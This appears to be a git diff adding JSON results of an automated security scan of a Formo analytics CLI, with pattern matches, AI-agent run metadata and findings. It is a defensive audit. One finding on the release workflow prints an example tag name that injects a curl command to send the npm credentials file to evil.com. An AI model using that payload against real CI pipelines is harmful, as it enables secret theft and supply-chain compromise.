"claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 1, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-18T17:16:09+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:12.181Z" + } +} diff --git a/.deepsec/data/cli/files/src/index.ts.json b/.deepsec/data/cli/files/src/index.ts.json new file mode 100644 index 0000000..4b1ad14 --- /dev/null +++ b/.deepsec/data/cli/files/src/index.ts.json @@ -0,0 +1,123 @@ +{ + "filePath": "src/index.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 74, + 83, + 98, + 100, + 103, + 191, + 237 + ], + "snippet": "const cli = Cli.create(\"formo\", {\n version: \"0.2.0\",\n description: \"Formo API CLI — Web3 analytics from the terminal\",\n sync: {\n suggestions: [", + "matchedPattern": "weak cipher algorithm" + }, + { + "vulnSlug": "secret-in-log", + "lineNumbers": [ + 55 + ], + "snippet": " headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ apiKey }),\n });", + "matchedPattern": "Secret variable in log statement" + }, + { + "vulnSlug": "secret-in-log", + "lineNumbers": [ + 103 + ], + "snippet": " options: z.object({}),\n examples: [{ args: { apiKey: \"formo_abc123\" }, description: \"Save API key\" }],\n async run({ args }) {", + "matchedPattern": "Secret variable in log statement" + }, + { + "vulnSlug": "env-var-as-bool", + "lineNumbers": [ + 211, + 229 + ], + "snippet": " }\n\n if (process.env.FORMO_API_KEY) {\n process.stderr.write(\n \"\\n\" +", + "matchedPattern": "Secret env var used as boolean" + }, + { + "vulnSlug": "process-env-access", + "lineNumbers": [ + 211 + ], + "snippet": "\n if (process.env.FORMO_API_KEY) {\n process.stderr.write(", + "matchedPattern": "process.env.FORMO_API_KEY" + }, + { + "vulnSlug": "process-env-access", + "lineNumbers": [ + 229 + ], + "snippet": " message: hadKey ? \"API key removed\" : \"Already logged out\",\n envVarSet: !!process.env.FORMO_API_KEY,\n };", + "matchedPattern": "process.env.FORMO_API_KEY" + }, + { + "vulnSlug": "process-env-access", + "lineNumbers": [ + 241 + ], + "snippet": " const config = readConfig();\n const source = process.env.FORMO_API_KEY\n ? \"FORMO_API_KEY env var\"", + "matchedPattern": "process.env.FORMO_API_KEY" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.926Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "fb198565b33e222909f3b54cd9105055359085d9f16d78ddb7fb9eead4a3d006", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:32:16.245Z", + "durationMs": 80847.33333333333, + "durationApiMs": 77802, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", + "findingCount": 0, + "numTurns": 2.3333333333333335, + "phase": "process", + "costUsd": 0.29499000000000003, + "usage": { + "inputTokens": 2.6666666666666665, + "outputTokens": 5766.666666666667, + "cacheReadInputTokens": 45820, + "cacheCreationInputTokens": 20464 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-18T17:16:09+07:00" + }, + { + "name": "Yos Riady", + "email": "yos@formo.so", + "date": "2026-05-02T12:08:36+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T11:11:00+07:00" + } + ], + "enrichedAt": "2026-05-18T13:32:16.392Z" + } +} diff --git a/.deepsec/data/cli/files/src/lib/client.ts.json b/.deepsec/data/cli/files/src/lib/client.ts.json new file mode 100644 index 0000000..f57bb88 --- /dev/null +++ b/.deepsec/data/cli/files/src/lib/client.ts.json @@ -0,0 +1,63 @@ +{ + "filePath": "src/lib/client.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "secret-in-log", + "lineNumbers": [ + 61 + ], + "snippet": " 'Content-Type': 'application/json',\n ...(apiKey ? { Authorization: `Bearer ${apiKey}` } : {}),\n },", + "matchedPattern": "Secret variable in log statement" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.915Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "d24e768ecf932bdd227d2f0d8462b8f89854f4d60b9324130735bcdb26ff0539", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.743Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 0, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-03T18:51:58+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:31:02.829Z" + } +} diff --git a/.deepsec/data/cli/files/src/lib/config.ts.json b/.deepsec/data/cli/files/src/lib/config.ts.json new file mode 100644 index 0000000..4ba8b26 --- /dev/null +++ b/.deepsec/data/cli/files/src/lib/config.ts.json @@ -0,0 +1,82 @@ +{ + "filePath": "src/lib/config.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "env-var-as-bool", + "lineNumbers": [ + 45 + ], + "snippet": "\nexport function getApiKey(): string | undefined {\n return process.env.FORMO_API_KEY ?? readConfig().apiKey;\n}\n", + "matchedPattern": "Secret env var used as boolean" + }, + { + "vulnSlug": "process-env-access", + "lineNumbers": [ + 45 + ], + "snippet": "export function getApiKey(): string | undefined {\n return process.env.FORMO_API_KEY ?? readConfig().apiKey;\n}", + "matchedPattern": "process.env.FORMO_API_KEY" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.926Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "53491b1a4f44acbe9eecf879747f6557c38f0e5e76f83fd4d25d865c55f9fb5e", + "findings": [ + { + "severity": "MEDIUM", + "vulnSlug": "other-insecure-file-permissions", + "title": "API-key config file permission control (0o600) silently bypassed when config.json already exists", + "description": "saveConfig() persists the plaintext API key with `fs.writeFileSync(CONFIG_FILE, ..., { mode: 0o600 })` and creates the directory with `fs.mkdirSync(CONFIG_DIR, { recursive: true, mode: 0o700 })`. Per Node.js semantics, the `mode` option of `writeFileSync` is applied ONLY when the file is newly created (open with O_CREAT). If `~/.config/formo/config.json` already exists, the mode is NOT re-applied — the file is merely truncated and rewritten while retaining its existing permissions. Likewise, `mkdirSync` does not chmod an already-existing CONFIG_DIR. The codebase's documented threat model ranks 'API-key disclosure via weak config-file perms' as the #1 impact, and the sole stated control for the plaintext-credential store is exactly this `0o600`/`0o700` mode. That control is conditional: it holds only for a clean first creation. Realistic ways the file pre-exists with looser (e.g., 0o644, group/world-readable) permissions before saveConfig runs include: (a) an older `@formo/cli` version that wrote config.json without the `mode` option (default 0o666 & ~umask → typically 0o644); (b) the user or another tool creating the file first; (c) a backup/restore or dotfile-sync tool resetting modes; (d) `EXISTING` config dir created by another app under `~/.config`. In any of these cases `formo login` writes a long-lived `formo_…` API key into a world/group-readable file on a multi-user host, disclosing the credential to other local users — the precise risk the 0o600 control was meant to prevent. clearConfig() (L35-37) has the same create-only-mode limitation (lower impact since it writes `{}`).", + "lineNumbers": [ + 26, + 27, + 28, + 29 + ], + "recommendation": "Do not rely on writeFileSync's create-only `mode`. After writing, explicitly enforce permissions: `fs.chmodSync(CONFIG_FILE, 0o600)` (and `fs.chmodSync(CONFIG_DIR, 0o700)`), or write atomically via `fs.openSync(CONFIG_FILE, 'w', 0o600)` followed by `fs.fchmodSync(fd, 0o600)` before writing, then rename. Optionally detect and warn (or refuse) if the existing file/dir has group/other bits set. Apply the same chmod hardening in clearConfig().", + "confidence": "medium", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.829Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 1, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:31:02.913Z" + } +} diff --git a/.deepsec/data/cli/files/src/lib/ui.ts.json b/.deepsec/data/cli/files/src/lib/ui.ts.json new file mode 100644 index 0000000..15027a5 --- /dev/null +++ b/.deepsec/data/cli/files/src/lib/ui.ts.json @@ -0,0 +1,66 @@ +{ + "filePath": "src/lib/ui.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 4 + ], + "snippet": " * Terminal UI utilities for the Formo CLI.\n *\n * Uses raw ANSI escape codes (no dependencies) for coloring and styling.\n * Colors are automatically disabled when stdout is not a TTY (piped output, CI, etc.)\n * or when the NO_COLOR environment variable is set.", + "matchedPattern": "weak cipher algorithm" + }, + { + "vulnSlug": "process-env-access", + "lineNumbers": [ + 10 + ], + "snippet": "const isTTY = process.stdout.isTTY === true\nconst noColor = !!process.env.NO_COLOR\n", + "matchedPattern": "process.env.NO_COLOR" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.926Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "9e89051e7e08ac58a4af5d6e0f4a795f20560eb382d34b87ed7d3afe8085f169", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.648Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 0, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:31:02.742Z" + } +} diff --git a/.deepsec/data/cli/project.json b/.deepsec/data/cli/project.json new file mode 100644 index 0000000..31865d8 --- /dev/null +++ b/.deepsec/data/cli/project.json @@ -0,0 +1,6 @@ +{ + "projectId": "cli", + "rootPath": "/Users/yos/cli", + "createdAt": "2026-05-18T12:47:43.317Z", + "githubUrl": "https://github.com/getformo/cli/blob/main" +} diff --git a/.deepsec/data/cli/reports/report.json b/.deepsec/data/cli/reports/report.json new file mode 100644 index 0000000..4a35123 --- /dev/null +++ b/.deepsec/data/cli/reports/report.json @@ -0,0 +1,609 @@ +{ + "projectId": "cli", + "generatedAt": "2026-05-18T13:32:27.437Z", + "runId": null, + "summary": { + "filesAnalyzed": 16, + "totalFindings": 4, + "critical": 0, + "high": 1, + "medium": 1, + "highBug": 0, + "bug": 2 + }, + "files": [ + { + "filePath": ".env", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.512Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 0, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + }, + { + "filePath": ".github/workflows/ci.yml", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:32:16.392Z", + "durationMs": 80847.33333333333, + "durationApiMs": 77802, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", + "findingCount": 0, + "numTurns": 2.3333333333333335, + "phase": "process", + "costUsd": 0.29499000000000003, + "usage": { + "inputTokens": 2.6666666666666665, + "outputTokens": 5766.666666666667, + "cacheReadInputTokens": 45820, + "cacheCreationInputTokens": 20464 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + }, + { + "filePath": ".github/workflows/release.yml", + "findings": [ + { + "severity": "HIGH", + "vulnSlug": "github-workflow-security", + "title": "Command injection in release workflow via attacker-controlled git tag name (supply-chain RCE)", + "description": "The `publish` job interpolates tag-derived GitHub Actions expressions directly into multi-line `run:` shell scripts. L79 `CURRENT_TAG=${{ github.ref_name }}` injects the raw tag name, and L55/L82 `TAG_VERSION=${{ steps.version.outputs.version }}` / `VERSION=${{ steps.version.outputs.version }}` inject the `version` step output which is derived at L49 from the tag itself (`VERSION=${GITHUB_REF#refs/tags/v}`). Actions performs `${{ }}` substitution textually BEFORE the shell runs, so the tag name becomes literal shell source. Git ref-naming rules forbid spaces and a few metacharacters but PERMIT `;`, `$`, backtick, `(`, `)`, `|`, `&`, `{`, `}`, `<`, `>`. A tag such as `v1.0.0;curl${IFS}-d@$HOME/.npmrc${IFS}evil.com` (or backtick/`$()` variants, using `${IFS}` to avoid spaces) yields `CURRENT_TAG=v1.0.0;curl ... evil.com`, executing arbitrary commands. The `publish` job holds `id-token: write` (npm OIDC trusted publishing), `contents: write`, and environment access to `secrets.TEST_TOKEN` and `secrets.GITHUB_TOKEN`. Arbitrary code execution here means an attacker can publish a malicious `@formo/cli` to npm, exfiltrate the OIDC-minted npm publish token and `GITHUB_TOKEN`, and tamper with releases — a full supply-chain compromise of a published package. The earlier 'Verify tag is on main branch' step only checks `github.sha` ancestry (a hex SHA, not injectable) and does NOT validate the tag NAME, so it does not mitigate this: an attacker can point a maliciously-named tag at a legitimate main commit and the guard still passes. Precondition: ability to push/create a tag (repository write access; default GitHub has no tag-protection). This is a privilege escalation from 'write access' to 'arbitrary npm publish + OIDC/secret exfiltration', and is the canonical GitHub Actions script-injection anti-pattern (CWE-78) that GitHub explicitly warns against.", + "lineNumbers": [ + 49, + 55, + 79, + 82 + ], + "recommendation": "Never interpolate `${{ github.ref_name }}` or any tag/ref-derived value (including `steps.version.outputs.version`, which is computed from the tag) directly into a `run:` block. Pass them through the step's `env:` map and reference them as quoted shell variables, e.g.:\n\n - name: Generate release notes\n env:\n CURRENT_TAG: ${{ github.ref_name }}\n VERSION: ${{ steps.version.outputs.version }}\n run: |\n PREV_TAG=$(git tag -l 'v*' --sort=-version:refname | grep -v \"^${CURRENT_TAG}$\" | head -1)\n\nDo the same for the `TAG_VERSION` usage at L55. Environment-variable values are not re-parsed as shell, so injection is prevented. Additionally, harden the version regex (e.g. validate `github.ref_name` matches `^v[0-9]+\\.[0-9]+\\.[0-9]+([.-][0-9A-Za-z.]+)?$` and `exit 1` otherwise before any other step), and enable GitHub tag protection rules so only trusted maintainers can create `v*` tags.", + "confidence": "high", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:32:16.485Z", + "durationMs": 80847.33333333333, + "durationApiMs": 77802, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", + "findingCount": 1, + "numTurns": 2.3333333333333335, + "phase": "process", + "costUsd": 0.29499000000000003, + "usage": { + "inputTokens": 2.6666666666666665, + "outputTokens": 5766.666666666667, + "cacheReadInputTokens": 45820, + "cacheCreationInputTokens": 20464 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + }, + { + "filePath": "src/commands/alerts.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.062Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/analytics.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.183Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/boards.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.271Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/charts.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.351Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/contracts.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.432Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/import.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:11.755Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 0, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/profiles.ts", + "findings": [ + { + "severity": "BUG", + "vulnSlug": "other-logic-bug", + "title": "HTTP GET issued with a request body for profile search conditions", + "description": "searchProfilesRun() sends the validated `--conditions`/`--logic` payload as the body of a GET request: `client.request({ method: 'get', url: '/v0/profiles/', params, data: body })`. Bodies on GET requests are not reliably transmitted — axios sends them, but many HTTP intermediaries, proxies, and server frameworks strip or ignore GET request bodies. If the body is dropped anywhere along the path, the filter conditions are silently discarded and the endpoint returns the entire unfiltered profile dataset. This is exactly the silent-unfiltered-result footgun that parseSearchConditions()'s own comments (lines 52-55, 96-98) go to great lengths to prevent for bare field names. Not a security vulnerability (data is the caller's own project data under their own scoped key), but a correctness/cost concern: a user believing they filtered to a small result set may instead page through the full dataset. Low confidence because it depends on api.formo.so and the transport actually honoring GET bodies, which cannot be verified from the client code alone.", + "lineNumbers": [ + 124 + ], + "recommendation": "Either send the conditions payload via POST (e.g. a dedicated search endpoint) or confirm api.formo.so reliably reads GET bodies. If the GET-with-body contract is intentional and supported end-to-end, document it explicitly so future maintainers do not 'fix' it.", + "confidence": "low", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:11.873Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 1, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/query.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:11.964Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 0, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/commands/segments.ts", + "findings": [ + { + "severity": "BUG", + "vulnSlug": "other-input-validation", + "title": "buildCreateSegmentBody does not validate that --filter-sets is an array", + "description": "buildCreateSegmentBody() does `JSON.parse(options.filterSets)` and forwards the result unchanged, but never checks `Array.isArray(parsedFilterSets)`. Both the catch-block error message ('--filter-sets must be a valid JSON array') and the Zod option description ('JSON array of filter set strings defining the segment') promise array validation that the code does not perform. Inputs like `--filter-sets '{\"x\":1}'`, `--filter-sets '5'`, or `--filter-sets '\"foo\"'` are valid JSON and therefore pass client-side validation, sending a malformed `filterSets` shape to POST /v0/segments/. This is inconsistent with the sibling validator buildImportBody() in import.ts (lines 19-21), which correctly rejects non-arrays. Not a security issue — the server enforces the real schema under the segments:write scope — but the misleading error message degrades the CLI/agent UX and can mask the actual cause of a server rejection.", + "lineNumbers": [ + 32, + 33, + 34, + 35, + 36, + 37, + 38, + 42 + ], + "recommendation": "After JSON.parse, add `if (!Array.isArray(parsedFilterSets)) throw new Error('--filter-sets must be a valid JSON array')`, mirroring buildImportBody() in import.ts, so the validation matches the documented contract.", + "confidence": "high", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:12.075Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 1, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ] + }, + { + "filePath": "src/index.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:32:16.245Z", + "durationMs": 80847.33333333333, + "durationApiMs": 77802, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", + "findingCount": 0, + "numTurns": 2.3333333333333335, + "phase": "process", + "costUsd": 0.29499000000000003, + "usage": { + "inputTokens": 2.6666666666666665, + "outputTokens": 5766.666666666667, + "cacheReadInputTokens": 45820, + "cacheCreationInputTokens": 20464 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + }, + { + "filePath": "src/lib/client.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.743Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 0, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + }, + { + "filePath": "src/lib/config.ts", + "findings": [ + { + "severity": "MEDIUM", + "vulnSlug": "other-insecure-file-permissions", + "title": "API-key config file permission control (0o600) silently bypassed when config.json already exists", + "description": "saveConfig() persists the 